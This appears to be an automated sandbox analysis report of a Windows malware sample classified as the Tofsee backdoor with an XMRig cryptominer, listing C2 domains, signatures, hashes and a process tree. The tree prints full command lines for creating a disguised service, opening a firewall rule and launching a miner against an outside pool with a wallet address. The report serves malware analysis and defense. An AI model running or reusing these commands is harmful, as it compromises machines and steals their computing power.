Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/10/2022, 16:51

General

  • Target
    file.exe
  • Size 227KB
  • Sample221021-vctf6affan
  • SHA256 36fcd70ecc70524dcc35192b0482973befe933dfd53fe1afbf8da24e42eb6288
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4856
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\feoarsec\
      2⤵
        PID:4812
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tiwtmsor.exe" C:\Windows\SysWOW64\feoarsec\
        2⤵
          PID:4728
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create feoarsec binPath= "C:\Windows\SysWOW64\feoarsec\tiwtmsor.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1744
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description feoarsec "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1684
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start feoarsec
          2⤵
          • Launches sc.exe
          PID:1464
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:212
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4856 -s 1044
          2⤵
          • Program crash
          PID:2680
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4856 -ip 4856
        1⤵
          PID:176
        • C:\Windows\SysWOW64\feoarsec\tiwtmsor.exe
          C:\Windows\SysWOW64\feoarsec\tiwtmsor.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1692
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4752
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4568
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1692 -s 176
            2⤵
            • Program crash
            PID:1952
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 1692 -ip 1692
          1⤵
            PID:4948

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                tiwtmsor.exe

                • Path C:\Users\Admin\AppData\Local\Temp\tiwtmsor.exe
                • Size 14.0MB
                • SHA256 cbc2f1506ec165a073d14217d6be45abca6b10d4c886fa9c0d995f023f8a6d5e
                • MD5 SHA1 SHA512 SSDEEP

                tiwtmsor.exe

                • Path C:\Windows\SysWOW64\feoarsec\tiwtmsor.exe
                • Size 14.0MB
                • SHA256 cbc2f1506ec165a073d14217d6be45abca6b10d4c886fa9c0d995f023f8a6d5e
                • MD5 SHA1 SHA512 SSDEEP

                memory/1692-152-0x0000000000400000-0x0000000002C27000-memory.dmp

                memory/1692-150-0x0000000002F5E000-0x0000000002F73000-memory.dmp

                memory/4568-173-0x0000000000491000-0x0000000000562000-memory.dmp

                memory/4568-174-0x0000000000490000-0x0000000000581000-memory.dmp

                memory/4568-178-0x0000000000490000-0x0000000000581000-memory.dmp

                memory/4752-169-0x00000000019E0000-0x00000000019E7000-memory.dmp

                memory/4752-147-0x00000000003B0000-0x00000000003C5000-memory.dmp

                memory/4752-166-0x0000000007400000-0x000000000780B000-memory.dmp

                memory/4752-151-0x00000000003B0000-0x00000000003C5000-memory.dmp

                memory/4752-163-0x00000000019D0000-0x00000000019D5000-memory.dmp

                memory/4752-153-0x00000000003B0000-0x00000000003C5000-memory.dmp

                memory/4752-154-0x0000000002400000-0x000000000260F000-memory.dmp

                memory/4752-157-0x00000000019B0000-0x00000000019B6000-memory.dmp

                memory/4752-160-0x00000000019C0000-0x00000000019D0000-memory.dmp

                memory/4856-144-0x0000000002D83000-0x0000000002D99000-memory.dmp

                memory/4856-145-0x0000000000400000-0x0000000002C27000-memory.dmp

                memory/4856-141-0x0000000002D83000-0x0000000002D99000-memory.dmp

                memory/4856-132-0x0000000002D83000-0x0000000002D99000-memory.dmp

                memory/4856-134-0x0000000000400000-0x0000000002C27000-memory.dmp

                memory/4856-133-0x0000000002D00000-0x0000000002D13000-memory.dmp